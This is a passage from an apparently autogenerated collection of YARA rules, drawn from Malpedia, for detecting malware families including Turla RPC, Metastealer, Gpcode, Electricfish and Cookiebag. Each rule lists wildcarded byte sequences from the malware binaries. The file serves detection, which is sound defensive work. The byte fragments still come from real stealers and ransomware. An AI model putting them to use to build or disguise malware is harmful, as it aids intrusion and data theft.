		7 of them and filesize < 4972544
}

rule MALPEDIA_Win_Turla_Rpc_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "555582c7-de4a-5625-91e9-ac0b0e0d564c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_rpc"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.turla_rpc_auto.yar#L1-L170"
		license_url = "N/A"
		logic_hash = "4906b07261ee80939dba34c531f28e5f2b514d7751640e2e81057387fedbb8f3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c785080100003025213c 66c7850c0100003a3b c6850e01000055 c745c007303431 }
		$sequence_1 = { 488bd8 ffd3 488d4d70 488bf8 ffd3 }
		$sequence_2 = { 660f6f05???????? 66c785ec0000000255 c785a0000000193a3431 c785a4000000193c3727 c785a800000034272c02 f30f7f8568010000 c685ac00000055 }
		$sequence_3 = { c785c400000027273a27 c785c8000000183a3130 c685cc00000055 c785c001000030362155 c745d002273c21 c745d430133c39 66c745d83055 }
		$sequence_4 = { 66c74424543155 c744243033273030 c644243455 c744244033263030 }
		$sequence_5 = { c745b06970746f c745b472536163 66c745b86c00 ff15???????? }
		$sequence_6 = { c7456016273034 c745642130133c c7456839300255 c7851001000016273034 c7851401000021300527 c785180100003a363026 }
		$sequence_7 = { f30f7f8d98010000 c785b800000027273a27 c685bc00000055 c685d801000055 }
		$sequence_8 = { c685d801000055 f30f7f85b0010000 660f6f05???????? c7858000000012302101 c7858400000030382505 }
		$sequence_9 = { 68???????? 6a00 6a00 ff15???????? 6a00 6aff 68d2040000 }
		$sequence_10 = { c745f474006c00 c785c8feffff14010000 ff15???????? 85c0 750e 50 50 }
		$sequence_11 = { 8d45bc 50 ff15???????? 85c0 0f8581000000 }
		$sequence_12 = { 7514 8d45ac 50 ff15???????? 8bf8 85ff 0f8434010000 }
		$sequence_13 = { 5d c3 6a00 6800000080 6a02 }
		$sequence_14 = { e8???????? cc 56 33f6 ffb614730110 ff15???????? }
		$sequence_15 = { 833d????????00 0f85d3240000 ba05000000 8d0d10700110 e9???????? }
	condition:
		7 of them and filesize < 311296
}

rule MALPEDIA_Win_Shapeshift_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c0c5bb16-0064-5063-a167-3feadfc849ba"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shapeshift"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shapeshift_auto.yar#L1-L104"
		license_url = "N/A"
		logic_hash = "d57d4efbadfe762b0a6b1ab41967b0e572158e599e0e6d6d29d5b7411ccf5a23"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 57 8985f4feffff 33db 6a05 ff15???????? 68???????? }
		$sequence_1 = { 8d0d009c4100 ba1d000000 e8???????? 5a c3 8d542408 }
		$sequence_2 = { 51 ff15???????? 8bf0 89b5ecfdffff }
		$sequence_3 = { 6af6 ff15???????? 8b04bd38054200 834c0318ff 33c0 }
		$sequence_4 = { 8bf0 e8???????? 83c404 8bf8 33c9 66660f1f840000000000 0fbf044d3cfa4100 }
		$sequence_5 = { f30f5e85ccfdffff f30f5905???????? e8???????? 83bde8fdffff00 741f 3bc7 }
		$sequence_6 = { e8???????? 85f6 8bf0 6a0c 7550 e8???????? }
		$sequence_7 = { 8995e8fdffff 57 898df8fdffff 899df0fdffff c785ecfdffff00000000 0f86ef010000 }
	condition:
		7 of them and filesize < 303104
}

rule MALPEDIA_Win_Metastealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d224b589-7615-5bc0-8bb6-5706cda78332"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.metastealer_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "6cb10cffce7c1599b69c9e05c260560e4bdcb2bc8aa657b55f875ee3bb8ed71d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f30f59c3 f30f584104 f30f114104 0f28c1 f30f584108 f30f584918 f30f59c3 }
		$sequence_1 = { f3a5 68???????? 66a5 c680b600000000 e8???????? 68???????? e8???????? }
		$sequence_2 = { ffb6a8000000 8d86d8000000 50 56 e8???????? 83c410 f7d8 }
		$sequence_3 = { f30f59cb f30f5c662c f30f101d???????? f30f5c4e28 f30f1150f8 f30f59e2 f30f59ca }
		$sequence_4 = { ff7624 e8???????? 83c404 894654 85c0 7412 0f57c0 }
		$sequence_5 = { f30f5dc3 f30f107804 f30f102d???????? f20f1035???????? f30f59d3 f30f59c5 f30f5ed7 }
		$sequence_6 = { f20f101d???????? f20f1025???????? f20f102d???????? f20f1035???????? f20f103d???????? 8b5508 8b45fc }
		$sequence_7 = { ffd0 8bd8 83c40c 807d0c00 899f88010000 895df8 c703???????? }
		$sequence_8 = { e8???????? 6a02 8d4704 83c302 50 53 e8???????? }
		$sequence_9 = { ffd0 83c404 85c0 7423 8b8690010000 80781100 74e8 }
	condition:
		7 of them and filesize < 26230784
}

rule MALPEDIA_Win_Sync_Scheduler_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "41472b7c-c76e-5a55-ab89-47e49be56775"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sync_scheduler"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sync_scheduler_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "cefc3130f1fb15a7eb3be2d60b81171c09dab6a15007b67a76905b9641705749"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { b910270000 ff15???????? 90 488b55f8 4883fa10 7231 }
		$sequence_1 = { 498bcd ff15???????? 498bcc ff15???????? e9???????? 0f57c0 }
		$sequence_2 = { 33d2 488bc8 ff15???????? 488d0557570000 488903 48896e60 48895e08 }
		$sequence_3 = { c6450668 c6450777 c6450855 c6450968 c6450a64 c6450b67 c6450c49 }
		$sequence_4 = { 480f42d8 48b8ffffffffffffff7f 488d4b01 483bc8 0f87ad000000 4803c9 4881f900100000 }
		$sequence_5 = { 75cb 32db 4883fe10 7238 488d5601 }
		$sequence_6 = { e8???????? 488d0d9c090000 e8???????? e8???????? }
		$sequence_7 = { c645f277 c645f377 c645f46e c645f56c c645f67d }
		$sequence_8 = { 488905???????? c7458017000000 8b4580 3448 }
		$sequence_9 = { c6456800 33d2 41b808010000 488d8d20020000 e8???????? 498d8680bc0000 }
	condition:
		7 of them and filesize < 156672
}

rule MALPEDIA_Win_Electricfish_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4bbe8d4f-bb22-5f20-a9d1-098a3e3e3fc4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.electricfish"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.electricfish_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "107f1b585d0a1fb5b5a2004135458a9d2fc68da8f22b2f0a6dfa6f03b7f81b2b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb08 56 57 53 ffd0 83c40c 3bc6 }
		$sequence_1 = { e8???????? 8bf8 85ff 75e0 6891010000 68???????? 6a41 }
		$sequence_2 = { eb3a 0fb67201 81e680000000 b901000000 3bc6 75c4 68ae000000 }
		$sequence_3 = { 39442458 7413 6852020000 68???????? 50 e8???????? 83c40c }
		$sequence_4 = { c3 837f1006 7414 689a010000 68???????? 6892000000 e9???????? }
		$sequence_5 = { 33c0 c745fc02000000 8945e8 8945ec 8d45e8 6a08 50 }
		$sequence_6 = { f6423401 7508 c744241401000000 8b834c010000 85c0 0f8426010000 3bf8 }
		$sequence_7 = { 85ed 7518 6874010000 68???????? 6a41 6a7d 6a0b }
		$sequence_8 = { e8???????? 83c40c 85c0 0f84bb040000 6a01 53 c7430c00000000 }
		$sequence_9 = { 85ff 0f8522010000 e8???????? 5f 5e 5d }
	condition:
		7 of them and filesize < 3162112
}

rule MALPEDIA_Win_Nestegg_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "52ec43db-af34-5600-ae4f-7af1b99fc246"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nestegg"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nestegg_auto.yar#L1-L101"
		license_url = "N/A"
		logic_hash = "998bf1c6b0e9df7e30236e71f3887671a96f6e1e7f5c7700f72ff2a5d20b9889"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d4c2420 33ed 89442444 51 }
		$sequence_1 = { 6a08 ff15???????? 8be8 b988000000 33c0 8dbc24a8020000 c78424a402000024020000 }
		$sequence_2 = { 89742410 e8???????? 6a00 6800200000 8d8e2c040000 c744245800000000 }
		$sequence_3 = { 2bc3 8bce 50 e8???????? 8b8f28040000 }
		$sequence_4 = { 5f 5e 59 c20c00 ff15???????? }
		$sequence_5 = { b907000000 f7f9 42 89542410 8b5500 }
		$sequence_6 = { 7530 50 50 8b44240c 25ffff0000 50 68???????? }
		$sequence_7 = { 81e1ffff0000 c744243400000000 d1e1 85c9 }
	condition:
		7 of them and filesize < 221184
}

rule MALPEDIA_Win_Gpcode_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2b18987b-bc80-5fc9-83bb-027c69a960bd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gpcode"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gpcode_auto.yar#L1-L176"
		license_url = "N/A"
		logic_hash = "05e954eda4e4590590475795b2183e3631e7aeea469ee6afc7d69c80e137d118"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { a1???????? a3???????? 6800001000 68???????? ff35???????? }
		$sequence_1 = { 68???????? e8???????? 91 6a00 }
		$sequence_2 = { e8???????? e8???????? c705????????01000000 c3 55 8bec }
		$sequence_3 = { 68f4010000 e8???????? 833d????????01 75ed e8???????? }
		$sequence_4 = { 0f840d020000 a3???????? 68???????? ff35???????? e8???????? 85c0 }
		$sequence_5 = { a1???????? eb18 8b1d???????? 53 }
		$sequence_6 = { ff7508 6aff 68???????? ff75f4 ff15???????? }
		$sequence_7 = { e8???????? 85c0 0f8447020000 a3???????? 68???????? }
		$sequence_8 = { 23d8 741f 80c141 880d???????? }
		$sequence_9 = { e8???????? 6a0a 68???????? 6a00 e8???????? 0bc0 7504 }
		$sequence_10 = { 75dc 85c9 7415 85c0 }
		$sequence_11 = { a0???????? 2c30 a2???????? eb0a }
		$sequence_12 = { 53 ff7508 56 50 6802010000 }
		$sequence_13 = { e9???????? ff75f4 6a08 ff35???????? ff15???????? }
		$sequence_14 = { 47 46 8a06 84c0 8975f4 }
		$sequence_15 = { 8bfb 2b7df4 837decff 8955bc 8955c4 }
		$sequence_16 = { 50 57 ff15???????? 8d45e4 50 }
		$sequence_17 = { 740c 803f29 7507 c6020f }
	condition:
		7 of them and filesize < 761856
}

rule MALPEDIA_Win_Crosswalk_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1076206e-4e1c-51ff-b49e-1f2c394e3af9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crosswalk"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crosswalk_auto.yar#L1-L165"
		license_url = "N/A"
		logic_hash = "41379ac5fd7ea514139388720a6ee90edcc7ef23d2f29794443905502b173fda"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4883ec28 4885c9 7402 ffd1 }
		$sequence_1 = { 8bc2 c1e81f 03d0 69c2890e0000 3bc8 }
		$sequence_2 = { d3ca 03d0 4183ef01 75ef }
		$sequence_3 = { 33f6 8d6e20 8bcd e8???????? }
		$sequence_4 = { 458d7ee0 418bd7 ff15???????? 4821742420 }
		$sequence_5 = { 41b88d56e68c 418bc0 f7e9 03d1 }
		$sequence_6 = { 458bc6 33d2 488bc8 e8???????? 4533c9 }
		$sequence_7 = { 410fbe00 49ffc0 d3ca 03d0 }
		$sequence_8 = { c1f906 6bd730 8b0c8d808e4100 c644112800 85f6 740c 56 }
		$sequence_9 = { 58 6bc000 c7803c88410002000000 6a04 58 6bc000 8b0d???????? }
		$sequence_10 = { 6a00 6a00 57 56 8945f8 ff15???????? }
		$sequence_11 = { 41 4a c60100 b8???????? c745dc0c234100 8945bc }
		$sequence_12 = { 8945e8 8945f8 8b4508 56 be???????? c745ec24234100 57 }
		$sequence_13 = { 7420 6bc618 57 8db880904100 57 ff15???????? }
		$sequence_14 = { 83e03f 8bca 6bc030 c1f906 03048d808e4100 eb02 }
		$sequence_15 = { 6bf030 03348d808e4100 837e18ff 740c }
	condition:
		7 of them and filesize < 286720
}

rule MALPEDIA_Win_Unidentified_023_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1400fef8-22ab-55d3-be00-2034b5c77506"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_023"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_023_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "967009d10509388ccde45cabcb9706cb7743d93f422192cdf1b0f418e7706b0c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { b8cccccccc f3ab a1???????? 8945e4 8b0d???????? }
		$sequence_1 = { 894df4 8a15???????? 8855f8 837d0c01 7514 8bf4 }
		$sequence_2 = { 8855f8 837d0c01 7514 8bf4 68???????? ff15???????? }
		$sequence_3 = { 8a15???????? 8855f8 837d0c01 7514 8bf4 }
		$sequence_4 = { 8855f8 837d0c01 7514 8bf4 68???????? ff15???????? 3bf4 }
		$sequence_5 = { 0909 0909 0407 0807 8d4900 4f }
		$sequence_6 = { 68???????? ff15???????? 3bf4 e8???????? b801000000 52 8bcd }
		$sequence_7 = { b938000000 b8cccccccc f3ab a1???????? 8945e4 8b0d???????? }
		$sequence_8 = { 0909 0909 0909 0407 0807 8d4900 4f }
		$sequence_9 = { 8945f0 8b0d???????? 894df4 8a15???????? 8855f8 837d0c01 }
	condition:
		7 of them and filesize < 1433600
}

rule MALPEDIA_Win_Dexter_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b1377870-3c18-50e1-8895-9f4c52e3708d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dexter"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dexter_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "a43855bc8fa5d1635b94e65a3069c65413410fe093cfd7f70d80f09412658791"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a59 ff15???????? 85c0 7414 68???????? 8b4d08 }
		$sequence_1 = { 50 6a00 ff15???????? 68???????? 68???????? }
		$sequence_2 = { 8b0d???????? 51 ff15???????? 8b15???????? 8955fc 8b45fc 50 }
		$sequence_3 = { 8b45fc 50 ff15???????? 8b0d???????? 51 ff15???????? ebc6 }
		$sequence_4 = { 83c40c 68???????? ff15???????? 6a00 6a00 6a00 6a00 }
		$sequence_5 = { e9???????? 6a59 ff15???????? 85c0 7514 68???????? 8b4d08 }
		$sequence_6 = { e8???????? 83c410 8b4508 50 8b4d10 }
		$sequence_7 = { ff15???????? 6a4a 6a00 68???????? e8???????? 83c40c 6a4a }
		$sequence_8 = { 7514 68???????? 8b5508 52 ff15???????? e9???????? }
		$sequence_9 = { 51 6a08 8b15???????? 52 ff15???????? 8945f8 }
	condition:
		7 of them and filesize < 98304
}

rule MALPEDIA_Win_Remexi_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a43f5f53-342c-554e-8dee-8b775f5bb787"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remexi"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.remexi_auto.yar#L1-L285"
		license_url = "N/A"
		logic_hash = "9706deaac2e1169c2e84699b44e0890d8108f6f9e0cb051afcf90fb12b3b28d6"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 c706ffffffff e8???????? 83c404 }
		$sequence_1 = { 890d???????? 68???????? 41 50 a3???????? c705????????02000000 890d???????? }
		$sequence_2 = { 68???????? 50 ff15???????? 8b0d???????? 8b35???????? 890d???????? 68???????? }
		$sequence_3 = { 6a10 8d4ddc 8bf0 51 }
		$sequence_4 = { 6a00 6a02 c785ccfeffff28010000 ff15???????? }
		$sequence_5 = { 5f c3 56 ff15???????? 57 8b3d???????? }
		$sequence_6 = { 8945e4 8945e8 b802000000 51 }
		$sequence_7 = { 56 6824000100 50 57 ff15???????? }
		$sequence_8 = { a3???????? c705????????02000000 890d???????? ffd6 6a00 6a00 6a00 }
		$sequence_9 = { 6828010000 8d8dccfeffff 6a00 51 }
		$sequence_10 = { 50 6a02 ff15???????? 6a10 8d4ddc }
		$sequence_11 = { 7513 8b45d8 8b4818 8b5104 }
		$sequence_12 = { 89470c 57 894710 ff15???????? 6a00 6a00 6a01 }
		$sequence_13 = { c705????????ffffffff c705????????01000000 c705????????00000000 ffd6 83ffff }
		$sequence_14 = { 52 6a00 68ffff1f00 ffd7 8bf0 }
		$sequence_15 = { 015518 8b5d14 85db 0f8565fbffff }
		$sequence_16 = { 488d542450 488d4c2420 e8???????? 488d442420 4889442440 488d542420 }
		$sequence_17 = { 015330 41 894b0c e9???????? }
		$sequence_18 = { 488bc3 c60000 44897320 41b901000000 488d1529f30100 488bcf }
		$sequence_19 = { 016b24 89e8 83c44c 5b }
		$sequence_20 = { 4898 4885c0 7515 4883fb06 7305 }
		$sequence_21 = { 015930 3b542408 0f8d10ffffff 8d3c52 }
		$sequence_22 = { 488bcf e8???????? 4885db 0f8428010000 48837f1810 7227 }
		$sequence_23 = { 7468 48c74424380f000000 48897c2430 c644242000 4983c9ff }
		$sequence_24 = { 015330 e9???????? 8b5314 3b5318 0f8d23020000 }
		$sequence_25 = { 014b30 bf???????? b903000000 8b742418 }
		$sequence_26 = { e8???????? 48837f1810 48895f10 7205 488b07 eb03 }
		$sequence_27 = { c3 4053 4883ec20 488d0d73340100 ff15???????? 488d1586340100 }
		$sequence_28 = { 015330 8a10 eb84 8a5001 }
		$sequence_29 = { 016b04 83c41c 5b 5e }
		$sequence_30 = { 0f8540010000 488d1583310100 488bcb e8???????? 4c8bf0 4885c0 0f8421010000 }
	condition:
		7 of them and filesize < 614400
}

rule MALPEDIA_Win_Jaku_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5711a497-d28d-5b3a-91bd-62abf5157c12"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jaku"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jaku_auto.yar#L1-L277"
		license_url = "N/A"
		logic_hash = "bc36249d8d7142a776a25d525229620582afb8014b8d26d03d6dad8843321c84"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3945f8 0f94c0 eb02 32c0 }
		$sequence_1 = { 8bcf 83e107 d3eb 2bf9 895df4 83ff20 }
		$sequence_2 = { b83c800000 e8???????? 53 56 57 6a38 8d45c4 }
		$sequence_3 = { 33db 894618 895df4 c70601000000 e9???????? 8b4620 }
		$sequence_4 = { 83c204 8bfa d3e7 8b4e14 6609beb8160000 }
		$sequence_5 = { 7573 8bc3 83e00f 3c08 0f85a6000000 8b4624 83ef04 }
		$sequence_6 = { 880c07 8b02 8a4df8 884c0701 8b0a 8bc6 2bc1 }
		$sequence_7 = { 2bf8 83c410 85ff 7fd7 5b 56 }
		$sequence_8 = { 68???????? ff15???????? c3 b8???????? e8???????? 83ec2c }
		$sequence_9 = { ff742408 e8???????? c20800 8bc1 }
		$sequence_10 = { 53 68000000a0 6a03 53 }
		$sequence_11 = { 7507 b800308000 eb02 33c0 }
		$sequence_12 = { 7508 83c8ff e9???????? 8b839f830000 }
		$sequence_13 = { 6a01 03c3 68???????? 50 e8???????? 83c40c }
		$sequence_14 = { 5b c3 55 8bec 833d????????00 53 56 }
		$sequence_15 = { 55 56 57 6880020000 }
		$sequence_16 = { 75dd 57 e8???????? 59 }
		$sequence_17 = { 0245fd 3245fe 8a4dff d2c8 }
		$sequence_18 = { 50 e8???????? 59 8b4e2c }
		$sequence_19 = { 85ff 897c240c 750c 5f 5e b801000000 5b }
		$sequence_20 = { 56 e8???????? 59 8b4620 }
		$sequence_21 = { e8???????? 59 eb57 53 }
		$sequence_22 = { 016c242c 8b44242c 5f 5e 5d }
		$sequence_23 = { 50 894528 e8???????? 83c410 8b3d???????? 53 }
		$sequence_24 = { 53 53 53 6aff ff7528 bee9fd0000 }
		$sequence_25 = { 56 57 8965f0 33ff 897dfc c645fc01 837d1c10 }
		$sequence_26 = { 8bbe9b830000 33db 8d4f01 43 }
		$sequence_27 = { 6a00 8b9580faffff 837a3000 750b 8b8db4f9ffff 83c904 eb06 }
		$sequence_28 = { 6a00 53 56 e8???????? 83c41c 8b55f8 8345f8ff }
	condition:
		7 of them and filesize < 2220032
}

rule MALPEDIA_Win_Cookiebag_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a1b2ec8f-a75e-5a6d-8c41-80da5c8e831c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cookiebag"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cookiebag_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "2cb20734fcd81a355448bc2557be61a5fdc54ceb6b9b3a4d3d93ee10aa49b59c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? bf???????? 83c9ff 33c0 c644247403 f2ae f7d1 }
		$sequence_1 = { 83e00f eb02 33c0 0fbe84c1a0e24100 c1f804 83f807 }
		$sequence_2 = { 2bc2 83f801 8a5cbc2c 7705 }
		$sequence_3 = { 896c2458 896c245c 741d 8d48ff 8a40ff 84c0 740a }
		$sequence_4 = { e9???????? 49 51 e8???????? 83c404 e9???????? 8a8c2484000000 }
		$sequence_5 = { 47 83f80b 0f8777020000 ff248509c44100 80fb31 7c0c }
		$sequence_6 = { e8???????? 8b4c242c 8b442428 45 83c710 e9???????? 50 }
		$sequence_7 = { 8bd8 8dbe98000000 6a01 53 8bcf e8???????? 84c0 }
		$sequence_8 = { 8bf8 8d9e04010000 6a01 57 8bcb e8???????? 84c0 }
		$sequence_9 = { 889c24b8000000 e8???????? 8d44242c 8d4c241c 50 8d542460 51 }
	condition:
		7 of them and filesize < 311296
}

rule MALPEDIA_Win_Hardrain_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "25398ca8-a4b7-5603-875f-04e6efbaac2b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hardrain"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hardrain_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "bee47eae17e07c9e5633e3c8b1ddd3c37741eaa6fac55010942faf387fc2a537"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
